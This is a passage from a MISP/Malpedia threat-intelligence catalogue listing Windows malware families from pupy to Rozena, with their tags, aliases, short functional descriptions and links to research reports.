https://www.trustwave.com/Resources/SpiderLabs-Blog/New-POS-Malware-Emerges---Punkey/
https://www.pandasecurity.com/mediacenter/malware/punkeypos/

pupy (Windows)

The tag is: misp-galaxy:malpedia="pupy (Windows)"

pupy (Windows) is also known as:

Table 1710. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.pupy
https://blog.cyber4sight.com/2017/02/malicious-powershell-script-analysis-indicates-shamoon-actors-used-pupy-rat/
https://www.fireeye.com/blog/threat-research/2018/12/overruled-containing-a-potentially-destructive-adversary.html
https://www.symantec.com/blogs/threat-intelligence/elfin-apt33-espionage
https://github.com/n1nj4sec/pupy
https://www.secureworks.com/blog/iranian-pupyrat-bites-middle-eastern-organizations
https://researchcenter.paloaltonetworks.com/2017/02/unit42-magic-hound-campaign-attacks-saudi-targets/

Pushdo

Pushdo is usually classified as a "downloader" trojan - meaning its true purpose is to download and install additional malicious software. There are dozens of downloader trojan families out there, but Pushdo is actually more sophisticated than most, but that sophistication lies in the Pushdo control server rather than the trojan.

The tag is: misp-galaxy:malpedia="Pushdo"

Pushdo is also known as:

Table 1711. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.pushdo
https://www.blueliv.com/research/tracking-the-footproints-of-pushdo-trojan/
https://www.trendmicro.de/cloud-content/us/pdfs/business/white-papers/wp_study-of-pushdo-cutwail-botnet.pdf
https://www.secureworks.com/research/pushdo
http://malware-traffic-analysis.net/2017/04/03/index2.html

Putabmow

The tag is: misp-galaxy:malpedia="Putabmow"

Putabmow is also known as:

Table 1712. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.putabmow

PvzOut

The tag is: misp-galaxy:malpedia="PvzOut"

PvzOut is also known as:

Table 1713. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.pvzout
https://www.cylance.com/content/dam/cylance/pages/operation-cleaver/Cylance_Operation_Cleaver_Report.pdf

pwnpos

The tag is: misp-galaxy:malpedia="pwnpos"

pwnpos is also known as:

Table 1714. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.pwnpos
https://twitter.com/physicaldrive0/status/573109512145649664
https://blog.trendmicro.com/trendlabs-security-intelligence/pwnpos-old-undetected-pos-malware-still-causing-havoc/
https://www.brimorlabsblog.com/2015/03/and-you-get-pos-malware-nameand-you-get.html

Pykspa

The tag is: misp-galaxy:malpedia="Pykspa"

Pykspa is also known as:

Table 1715. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.pykspa
https://www.johannesbader.ch/2015/07/pykspas-inferior-dga-version/
https://www.johannesbader.ch/2015/03/the-dga-of-pykspa/
https://www.youtube.com/watch?v=HfSQlC76_s4

PyLocky

PyLocky is a ransomware that tries to pass off as Locky in its ransom note. It is written in Python and packaged with PyInstaller.

The tag is: misp-galaxy:malpedia="PyLocky"

PyLocky is also known as:

Locky Locker

Table 1716. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.pylocky
https://www.cert.ssi.gouv.fr/alerte/CERTFR-2018-ALE-008/
https://sensorstechforum.com/lockymap-files-virus-pylocky-ransomware-remove-restore-data/
https://blog.talosintelligence.com/2019/01/pylocky-unlocked-cisco-talos-releases.html
https://blog.trendmicro.com/trendlabs-security-intelligence/a-closer-look-at-the-locky-poser-pylocky-ransomware/

Qaccel

The tag is: misp-galaxy:malpedia="Qaccel"

Qaccel is also known as:

Table 1717. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.qaccel

Qadars

The tag is: misp-galaxy:malpedia="Qadars"

Qadars is also known as:

Table 1718. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.qadars
https://securityintelligence.com/meanwhile-britain-qadars-v3-hardens-evasion-targets-18-uk-banks/
https://pages.phishlabs.com/rs/130-BFB-942/images/Qadars%20-%20Final.pdf
https://securityintelligence.com/an-analysis-of-the-qadars-trojan/
https://info.phishlabs.com/blog/dissecting-the-qadars-banking-trojan
https://www.johannesbader.ch/2016/04/the-dga-of-qadars/
https://www.welivesecurity.com/2013/12/18/qadars-a-banking-trojan-with-the-netherlands-in-its-sights/

QakBot

The tag is: misp-galaxy:malpedia="QakBot"

QakBot is also known as:

Pinkslipbot
Qbot

Table 1719. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.qakbot
https://www.johannesbader.ch/2016/02/the-dga-of-qakbot/
http://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/w32_qakbot_in_detail.pdf
https://securityintelligence.com/qakbot-banking-trojan-causes-massive-active-directory-lockouts/
http://contagiodump.blogspot.com/2010/11/template.html
https://www.varonis.com/blog/varonis-discovers-global-cyber-campaign-qbot/
https://media.scmagazine.com/documents/225/bae_qbot_report_56053.pdf
https://www.cylance.com/en_us/blog/threat-spotlight-the-return-of-qakbot-malware.html
https://www.virusbulletin.com/uploads/pdf/magazine/2016/VB2016-Karve-etal.pdf
https://www.vkremez.com/2018/07/lets-learn-in-depth-reversing-of-qakbot.html

QHost

The tag is: misp-galaxy:malpedia="QHost"

QHost is also known as:

Tolouge

Table 1720. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.qhost

QtBot

The tag is: misp-galaxy:malpedia="QtBot"

QtBot is also known as:

qtproject

Table 1721. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.qtbot
https://researchcenter.paloaltonetworks.com/2017/11/unit42-everybody-gets-one-qtbot-used-distribute-trickbot-locky/

Quant Loader

The tag is: misp-galaxy:malpedia="Quant Loader"

Quant Loader is also known as:

Table 1722. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.quant_loader
https://malwarebreakdown.com/2017/10/10/malvertising-campaign-uses-rig-ek-to-drop-quant-loader-which-downloads-formbook/
https://blog.trendmicro.com/trendlabs-security-intelligence/necurs-evolves-to-evade-spam-detection-via-internet-shortcut-file/
https://blogs.forcepoint.com/security-labs/locky-distributor-uses-newly-released-quant-loader-sold-russian-underground
https://www.proofpoint.com/us/threat-insight/post/leaked-source-code-ammyy-admin-turned-flawedammyy-rat
https://blog.malwarebytes.com/threat-analysis/2018/03/an-in-depth-malware-analysis-of-quantloader/

Quasar RAT

Quasar RAT is a malware family written in .NET which is used by a variety of attackers. The malware is fully functional and open source, and is often packed to make analysis of the source more difficult.

The tag is: misp-galaxy:malpedia="Quasar RAT"

Quasar RAT is also known as:

Table 1723. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.quasar_rat
https://researchcenter.paloaltonetworks.com/2018/01/unit42-vermin-quasar-rat-custom-malware-used-ukraine/
https://www.fireeye.com/blog/threat-research/2019/04/spear-phishing-campaign-targets-ukraine-government.html
https://researchcenter.paloaltonetworks.com/2018/08/unit42-gorgon-group-slithering-nation-state-cybercrime/
https://github.com/quasar/QuasarRAT/tree/master/Client
https://www.volexity.com/blog/2018/06/07/patchwork-apt-group-targets-us-think-tanks/
https://www.pwc.co.uk/cyber-security/pdf/cloud-hopper-annex-b-final.pdf
http://researchcenter.paloaltonetworks.com/2017/01/unit42-downeks-and-quasar-rat-used-in-recent-targeted-attacks-against-governments
https://documents.trendmicro.com/assets/tech-brief-untangling-the-patchwork-cyberespionage-group.pdf?platform=hootsuite
https://ti.360.net/blog/articles/analysis-of-apt-c-09-target-china/
https://www.symantec.com/blogs/threat-intelligence/elfin-apt33-espionage
https://twitter.com/malwrhunterteam/status/789153556255342596
https://www.welivesecurity.com/2018/07/17/deep-dive-vermin-rathole/

Qulab

Qulab is an AutoIT Malware focusing on stealing & clipping content from victim’s machines.

The tag is: misp-galaxy:malpedia="Qulab"

Qulab is also known as:

Table 1724. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.qulab
https://fumik0.com/2019/03/25/lets-play-with-qulab-an-exotic-malware-developed-in-autoit/

r980

The tag is: misp-galaxy:malpedia="r980"

r980 is also known as:

Table 1725. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.r980
https://otx.alienvault.com/pulse/57976b52b900fe01376feb01/

Radamant

The tag is: misp-galaxy:malpedia="Radamant"

Radamant is also known as:

Table 1726. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.radamant
https://www.cyphort.com/radamant-ransomware-distributed-via-rig-ek/

RadRAT

The tag is: misp-galaxy:malpedia="RadRAT"

RadRAT is also known as:

Table 1727. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.radrat
https://labs.bitdefender.com/2018/04/radrat-an-all-in-one-toolkit-for-complex-espionage-ops/

Rakhni

The tag is: misp-galaxy:malpedia="Rakhni"

Rakhni is also known as:

Table 1728. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.rakhni
https://securelist.com/to-crypt-or-to-mine-that-is-the-question/86307/

Rambo

The tag is: misp-galaxy:malpedia="Rambo"

Rambo is also known as:

brebsd

Table 1729. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.rambo
https://securitykitten.github.io/2017/02/15/the-rambo-backdoor.html

Ramdo

The tag is: misp-galaxy:malpedia="Ramdo"

Ramdo is also known as:

Table 1730. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.ramdo

Ramnit

The tag is: misp-galaxy:malpedia="Ramnit"

Ramnit is also known as:

Nimnul

Table 1731. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.ramnit
https://malwarebreakdown.com/2017/08/23/the-seamless-campaign-isnt-losing-any-steam/
http://www.nao-sec.org/2018/01/analyzing-ramnit-used-in-seamless.html
http://contagiodump.blogspot.com/2012/01/blackhole-ramnit-samples-and-analysis.html
https://www.cert.pl/en/news/single/ramnit-in-depth-analysis/
https://research.checkpoint.com/ramnits-network-proxy-servers/
http://www.vkremez.com/2018/02/deeper-dive-into-ramnit-banker-vnc-ifsb.html
https://www.symantec.com/content/dam/symantec/docs/security-center/white-papers/w32-ramnit-analysis-15-en.pdf

Ranbyus

The tag is: misp-galaxy:malpedia="Ranbyus"

Ranbyus is also known as:

Table 1732. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.ranbyus
https://www.welivesecurity.com/2012/12/19/win32spy-ranbyus-modifying-java-code-in-rbs/
https://www.welivesecurity.com/2012/06/05/smartcard-vulnerabilities-in-modern-banking-malware/
http://www.xylibox.com/2013/01/trojanwin32spyranbyus.html
https://www.johannesbader.ch/2015/05/the-dga-of-ranbyus/

Ranscam

The tag is: misp-galaxy:malpedia="Ranscam"

Ranscam is also known as:

Table 1733. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.ranscam
http://blog.talosintel.com/2016/07/ranscam.html

Ransoc

The tag is: misp-galaxy:malpedia="Ransoc"

Ransoc is also known as:

Table 1734. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.ransoc
https://www.proofpoint.com/us/threat-insight/post/ransoc-desktop-locking-ransomware-ransacks-local-files-social-media-profiles

Ransomlock

The tag is: misp-galaxy:malpedia="Ransomlock"

Ransomlock is also known as:

WinLock

Table 1735. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.ransomlock
https://forum.malekal.com/viewtopic.php?t=36485&start=
https://www.symantec.com/security_response/writeup.jsp?docid=2012-022215-2340-99&tabid=2

Rapid Ransom

The tag is: misp-galaxy:malpedia="Rapid Ransom"

Rapid Ransom is also known as:

Table 1736. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.rapid_ransom
https://twitter.com/malwrhunterteam/status/997748495888076800
https://twitter.com/malwrhunterteam/status/977275481765613569

RapidStealer

The tag is: misp-galaxy:malpedia="RapidStealer"

RapidStealer is also known as:

Table 1737. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.rapid_stealer
http://pwc.blogs.com/cyber_security_updates/2014/09/malware-microevolution.html

Rarog

The tag is: misp-galaxy:malpedia="Rarog"

Rarog is also known as:

Table 1738. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.rarog
https://unit42.paloaltonetworks.com/unit42-smoking-rarog-mining-trojan/
https://tracker.fumik0.com/malware/Rarog

rarstar

The tag is: misp-galaxy:malpedia="rarstar"

rarstar is also known as:

Table 1739. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.rarstar
https://www.secureworks.com/research/bronze-butler-targets-japanese-businesses

RatabankaPOS

The tag is: misp-galaxy:malpedia="RatabankaPOS"

RatabankaPOS is also known as:

Table 1740. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.ratabankapos
http://blog.trex.re.kr/3
https://www.proofpoint.com/sites/default/files/pfpt-us-wp-north-korea-bitten-by-bitcoin-bug.pdf

RawPOS

The tag is: misp-galaxy:malpedia="RawPOS"

RawPOS is also known as:

Table 1741. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.rawpos
https://threatvector.cylance.com/en_us/home/rawpos-malware.html
http://blog.trendmicro.com/trendlabs-security-intelligence/rawpos-new-behavior-risks-identity-theft/?platform=hootsuite

RCS

The tag is: misp-galaxy:malpedia="RCS"

RCS is also known as:

Crisis
Remote Control System

Table 1742. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.rcs
https://www.virusbulletin.com/virusbulletin/2019/01/vb2018-paper-hacking-team-hacked-team/
https://www.f-secure.com/documents/996508/1030745/callisto-group
https://www.welivesecurity.com/2018/03/09/new-traces-hacking-team-wild/

rdasrv

The tag is: misp-galaxy:malpedia="rdasrv"

rdasrv is also known as:

Table 1743. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.rdasrv
https://www.wired.com/wp-content/uploads/2014/09/wp-pos-ram-scraper-malware.pdf

ReactorBot

Please note: ReactorBot in its naming is often mistakenly labeled as Rovnix. ReactorBot is a full blown bot with modules, whereas Rovnix is just a bootkit / driver component (originating from Carberp), occasionally delivered alongside ReactorBot.

The tag is: misp-galaxy:malpedia="ReactorBot"

ReactorBot is also known as:

Table 1744. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.reactorbot
https://www.symantec.com/connect/blogs/new-carberp-variant-heads-down-under
http://www.malwaredigger.com/2015/05/rovnix-dropper-analysis.html
http://blog.trendmicro.com/trendlabs-security-intelligence/rovnix-infects-systems-with-password-protected-macros/
http://www.malwaredigger.com/2015/06/rovnix-payload-and-plugin-analysis.html

Reaver

Reaver is a type of malware discovered by researchers at Palo Alto Networks in November 2017, but its activity dates back to at least late 2016. Researchers identified only ten unique samples of the malware, indicating limited use, and three different variants, noted as versions 1, 2, and 3. The malware is unique as its final payload masquerades as a control panel link (CPL) file. The intended targets of this activity are unknown as of this writing; however, it was used concurrently with the SunOrcal malware and the same C2 infrastructure used by threat actors who primarily target based on the "Five Poisons" - five perceived threats deemed dangerous to, and working against the interests of, the Chinese government.

The tag is: misp-galaxy:malpedia="Reaver"

Reaver is also known as:

Table 1745. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.reaver
https://researchcenter.paloaltonetworks.com/2017/11/unit42-new-malware-with-ties-to-sunorcal-discovered/

RedAlpha

The tag is: misp-galaxy:malpedia="RedAlpha"

RedAlpha is also known as:

Table 1746. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.redalpha
https://www.recordedfuture.com/redalpha-cyber-campaigns/

Redaman

The tag is: misp-galaxy:malpedia="Redaman"

Redaman is also known as:

Table 1747. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.redaman
https://unit42.paloaltonetworks.com/russian-language-malspam-pushing-redaman-banking-malware/

RedLeaves

The tag is: misp-galaxy:malpedia="RedLeaves"

RedLeaves is also known as:

Table 1748. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.redleaves
http://blog.macnica.net/blog/2017/12/post-8c22.html
https://www.accenture.com/t20180423T055005Zw/se-en/_acnmedia/PDF-76/Accenture-Hogfish-Threat-Analysis.pdf[https://www.accenture.com/t20180423T055005Zw/se-en/_acnmedia/PDF-76/Accenture-Hogfish-Threat-Analysis.pdf]
http://blog.jpcert.or.jp/.s/2017/04/redleaves---malware-based-on-open-source-rat.html
https://www.pwc.co.uk/cyber-security/pdf/cloud-hopper-annex-b-final.pdf
http://go.recordedfuture.com/hubfs/reports/cta-2019-0206.pdf
https://github.com/nccgroup/Cyber-Defence/tree/master/Technical%20Notes/Red%20Leaves
https://www.jpcert.or.jp/magazine/acreport-redleaves.html

Redyms

The tag is: misp-galaxy:malpedia="Redyms"

Redyms is also known as:

Table 1749. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.redyms
https://www.welivesecurity.com/2013/02/04/what-do-win32redyms-and-tdl4-have-in-common/

Red Alert

The tag is: misp-galaxy:malpedia="Red Alert"

Red Alert is also known as:

Table 1750. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.red_alert
https://twitter.com/JaromirHorejsi/status/816237293073797121

Red Gambler

The tag is: misp-galaxy:malpedia="Red Gambler"

Red Gambler is also known as:

Table 1751. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.red_gambler
http://image.ahnlab.com/file_upload/asecissue_files/ASEC%20REPORT_vol.91.pdf

reGeorg

The tag is: misp-galaxy:malpedia="reGeorg"

reGeorg is also known as:

Table 1752. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.regeorg
https://sensepost.com/discover/tools/reGeorg/
https://github.com/sensepost/reGeorg

Regin

The tag is: misp-galaxy:malpedia="Regin"

Regin is also known as:

Table 1753. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.regin
https://www.youtube.com/watch?v=jeLd-gw2bWo

Remcos

The tag is: misp-galaxy:malpedia="Remcos"

Remcos is also known as:

Table 1754. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.remcos
https://www.riskiq.com/blog/labs/spear-phishing-turkish-defense-contractors/
https://researchcenter.paloaltonetworks.com/2018/08/unit42-gorgon-group-slithering-nation-state-cybercrime/
http://malware-traffic-analysis.net/2017/12/22/index.html
https://www.symantec.com/blogs/threat-intelligence/elfin-apt33-espionage
https://blog.fortinet.com/2017/02/14/remcos-a-new-rat-in-the-wild-2
https://krabsonsecurity.com/2018/03/02/analysing-remcos-rats-executable/
https://myonlinesecurity.co.uk/fake-order-spoofed-from-finchers-ltd-sankyo-rubber-delivers-remcos-rat-via-ace-attachments/
https://blog.talosintelligence.com/2018/08/picking-apart-remcos.html
https://secrary.com/ReversingMalware/RemcosRAT/

Remexi

The tag is: misp-galaxy:malpedia="Remexi"

Remexi is also known as:

Table 1755. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.remexi
https://www.symantec.com/blogs/threat-intelligence/chafer-latest-attacks-reveal-heightened-ambitions
http://www.symantec.com/content/en/us/enterprise/media/security_response/docs/CadelSpy-Remexi-IOC.pdf
https://securelist.com/chafer-used-remexi-malware/89538/

Remsec

The tag is: misp-galaxy:malpedia="Remsec"

Remsec is also known as:

Table 1756. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.remsec_strider
http://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/Symantec_Remsec_IOCs.pdf

Remy

The tag is: misp-galaxy:malpedia="Remy"

Remy is also known as:

Table 1757. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.remy
https://threatvector.cylance.com/en_us/home/report-oceanlotus-apt-group-leveraging-steganography.html

Rerdom

The tag is: misp-galaxy:malpedia="Rerdom"

Rerdom is also known as:

Table 1758. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.rerdom
https://www.coresecurity.com/sites/default/files/resources/2017/03/Behind_Malware_Infection_Chain.pdf

Retadup

The tag is: misp-galaxy:malpedia="Retadup"

Retadup is also known as:

Table 1759. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.retadup
http://blog.trendmicro.com/trendlabs-security-intelligence/information-stealer-found-hitting-israeli-hospitals/

Retefe (Windows)

Retefe is a Windows Banking Trojan that can also download and install additional malware onto the system using Windows PowerShell. It’s primary functionality is to assist the attacker with stealing credentials for online banking websites. It is typically targeted against Swiss banks. The malware binary itself is primarily a dropper component for a Javascript file which builds a VBA file which in turn loads multiple tools onto the host including: 7zip and TOR. The VBA installs a new root certificate and then forwards all traffic via TOR to the attacker controlled host in order to effectively MITM TLS traffic.

The tag is: misp-galaxy:malpedia="Retefe (Windows)"

Retefe (Windows) is also known as:

Tsukuba
Werdlod

Table 1760. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.retefe
https://threatpost.com/eternalblue-exploit-used-in-retefe-banking-trojan-campaign/128103/
https://github.com/cocaman/retefe
https://www.govcert.admin.ch/blog/33/the-retefe-saga
https://www.govcert.admin.ch/blog/35/reversing-retefe
https://researchcenter.paloaltonetworks.com/2015/08/retefe-banking-trojan-targets-sweden-switzerland-and-japan/
https://github.com/Tomasuh/retefe-unpacker

Revenge RAT

The tag is: misp-galaxy:malpedia="Revenge RAT"

Revenge RAT is also known as:

Revetrat

Table 1761. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.revenge_rat
https://isc.sans.edu/diary/rss/22590
https://researchcenter.paloaltonetworks.com/2018/08/unit42-gorgon-group-slithering-nation-state-cybercrime/
http://blog.deniable.org/blog/2016/08/26/lurking-around-revenge-rat/

RGDoor

The tag is: misp-galaxy:malpedia="RGDoor"

RGDoor is also known as:

Table 1762. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.rgdoor
https://researchcenter.paloaltonetworks.com/2018/01/unit42-oilrig-uses-rgdoor-iis-backdoor-targets-middle-east/
https://researchcenter.paloaltonetworks.com/2017/09/unit42-striking-oil-closer-look-adversary-infrastructure/

Rietspoof

Rietspoof is malware that mainly acts as a dropper and downloader, however, it also sports bot capabilities and appears to be in active development.

The tag is: misp-galaxy:malpedia="Rietspoof"

Rietspoof is also known as:

Table 1763. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.rietspoof
https://blog.avast.com/rietspoof-malware-increases-activity

Rifdoor

The tag is: misp-galaxy:malpedia="Rifdoor"

Rifdoor is also known as:

Table 1764. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.rifdoor
AhnLabAndariel_a_Subgroup_of_Lazarus%20(3).pdf[AhnLabAndariel_a_Subgroup_of_Lazarus%20(3).pdf]

Rikamanu

The tag is: misp-galaxy:malpedia="Rikamanu"

Rikamanu is also known as:

Table 1765. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.rikamanu
https://www.symantec.com/blogs/threat-intelligence/thrip-hits-satellite-telecoms-defense-targets

Rincux

The tag is: misp-galaxy:malpedia="Rincux"

Rincux is also known as:

Table 1766. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.rincux
https://www.virusbulletin.com/uploads/pdf/conference_slides/2011/Edwards-Nazario-VB2011.pdf

Ripper ATM

The tag is: misp-galaxy:malpedia="Ripper ATM"

Ripper ATM is also known as:

Table 1767. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.ripper_atm
http://blog.trendmicro.com/trendlabs-security-intelligence/untangling-ripper-atm-malware/

Rising Sun

The tag is: misp-galaxy:malpedia="Rising Sun"

Rising Sun is also known as:

Table 1768. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.rising_sun
https://www.mcafee.com/enterprise/en-us/assets/reports/rp-operation-sharpshooter.pdf
https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/operation-sharpshooter-targets-global-defense-critical-infrastructure/

RMS

CyberInt states that Remote Manipulator System (RMS) is a legitimate tool developed by Russian organization TektonIT and has been observed in campaigns conducted by TA505 as well as numerous smaller campaigns likely attributable to other, disparate, threat actors. In addition to the availability of commercial licenses, the tool is free for non-commercial use and supports the remote administration of both Microsoft Windows and Android devices.

The tag is: misp-galaxy:malpedia="RMS"

RMS is also known as:

Remote Manipulator System

Table 1769. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.rms
https://e.cyberint.com/hubfs/Report%20Legit%20Remote%20Access%20Tools%20Turn%20Into%20Threat%20Actors%20Tools/CyberInt_Legit%20Remote%20Access%20Tools%20Turn%20Into%20Threat%20Actors'%20Tools_Report.pdf

rock

The tag is: misp-galaxy:malpedia="rock"

rock is also known as:

yellowalbatross

Table 1770. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.rock
https://github.com/securitykitten/malware_references/blob/master/rmshixdAPT-C-15-20160630.pdf

Rockloader

The tag is: misp-galaxy:malpedia="Rockloader"

Rockloader is also known as:

Table 1771. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.rockloader
https://www.proofpoint.com/us/threat-insight/post/Locky-Ransomware-Cybercriminals-Introduce-New-RockLoader-Malware

Rofin

The tag is: misp-galaxy:malpedia="Rofin"

Rofin is also known as:

Table 1772. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.rofin

RogueRobinNET

A .NET variant of ps1.roguerobin

The tag is: misp-galaxy:malpedia="RogueRobinNET"

RogueRobinNET is also known as:

Table 1773. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.roguerobin
https://unit42.paloaltonetworks.com/darkhydrus-delivers-new-trojan-that-can-use-google-drive-for-c2-communications/
https://ti.360.net/blog/articles/latest-target-attack-of-darkhydruns-group-against-middle-east-en/

Rokku

The tag is: misp-galaxy:malpedia="Rokku"

Rokku is also known as:

Table 1774. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.rokku

RokRAT

The tag is: misp-galaxy:malpedia="RokRAT"

RokRAT is also known as:

Table 1775. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.rokrat
http://s3.amazonaws.com/talos-intelligence-site/production/document_files/files/000/002/191/original/Talos_RokRatWhitePaper.pdf
http://blog.talosintelligence.com/2017/04/introducing-rokrat.html
http://blog.talosintelligence.com/2018/01/korea-in-crosshairs.html
https://www.intezer.com/apt37-final1stspy-reaping-the-freemilk/
http://blog.talosintelligence.com/2017/11/ROKRAT-Reloaded.html
https://www.nccgroup.trust/uk/about-us/newsroom-and-events/blogs/2018/november/rokrat-analysis/
https://www.youtube.com/watch?v=uoBQE5s2ba4
http://v3lo.tistory.com/24
https://www.carbonblack.com/2018/02/27/threat-analysis-rokrat-malware/

Rombertik

The tag is: misp-galaxy:malpedia="Rombertik"

Rombertik is also known as:

CarbonGrabber

Table 1776. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.rombertik
http://blogs.cisco.com/security/talos/rombertik

Romeo(Alfa,Bravo, …)

The tag is: misp-galaxy:malpedia="Romeo(Alfa,Bravo, …)"

Romeo(Alfa,Bravo, …) is also known as:

Table 1777. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.romeos

Roopirs

The tag is: misp-galaxy:malpedia="Roopirs"

Roopirs is also known as:

Table 1778. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.roopirs

Roseam

The tag is: misp-galaxy:malpedia="Roseam"

Roseam is also known as:

Table 1779. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.roseam
http://researchcenter.paloaltonetworks.com/2016/05/unit42-new-wekby-attacks-use-dns-requests-as-command-and-control-mechanism/

RotorCrypt

Ransomware that was discovered over the last months of 2016 and likely based on Gomasom, another ransomware family.

The tag is: misp-galaxy:malpedia="RotorCrypt"

RotorCrypt is also known as:

RotoCrypt
Rotor

Table 1780. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.rotorcrypt
https://id-ransomware.blogspot.com/2016/10/rotorcrypt-ransomware.html
https://www.bleepingcomputer.com/forums/t/629699/rotorcrypt-rotocrypt-ransomware-support-topic-tar-c400-c300-granit/

Rover

The tag is: misp-galaxy:malpedia="Rover"

Rover is also known as:

Table 1781. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.rover
http://researchcenter.paloaltonetworks.com/2016/02/new-malware-rover-targets-indian-ambassador-to-afghanistan/

Rovnix

Rovnix is a bootkit and consists of a driver loader (in the VBR) and the drivers (32bit, 64bit) themselves. It is part of the Carberp source code leak (https://github.com/nyx0/Rovnix). Rovnix has been used to protect Gozi ISFB, ReactorBot and Rerdom (at least).

The tag is: misp-galaxy:malpedia="Rovnix"

Rovnix is also known as:

BkLoader
Cidox
Mayachok

Table 1782. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.rovnix
https://www.welivesecurity.com/2012/07/13/rovnix-bootkit-framework-updated/
https://news.drweb.ru/?i=1772&c=23&lng=ru&p=0
https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-RodionovMatrosov.pdf
https://securelist.com/cybercriminals-switch-from-mbr-to-ntfs-2/29117/
https://blogs.technet.microsoft.com/mmpc/2014/05/04/the-evolution-of-rovnix-new-virtual-file-system-vfs/
http://www.malwaretech.com/2014/05/rovnix-new-evolution.html
https://blogs.technet.microsoft.com/mmpc/2013/07/25/the-evolution-of-rovnix-private-tcpip-stacks/
http://www.kernelmode.info/forum/viewtopic.php?f=16&t=981
http://www.malwaredigger.com/2015/05/rovnix-dropper-analysis.html

RoyalCli

The tag is: misp-galaxy:malpedia="RoyalCli"

RoyalCli is also known as:

Table 1783. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.royalcli
https://github.com/nccgroup/Royal_APT
https://www.nccgroup.trust/uk/about-us/newsroom-and-events/blogs/2018/march/apt15-is-alive-and-strong-an-analysis-of-royalcli-and-royaldns/

Royal DNS

The tag is: misp-galaxy:malpedia="Royal DNS"

Royal DNS is also known as:

Table 1784. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.royal_dns
https://github.com/nccgroup/Royal_APT
https://www.nccgroup.trust/uk/about-us/newsroom-and-events/blogs/2018/march/apt15-is-alive-and-strong-an-analysis-of-royalcli-and-royaldns/

Rozena

The tag is: misp-galaxy:malpedia="Rozena"

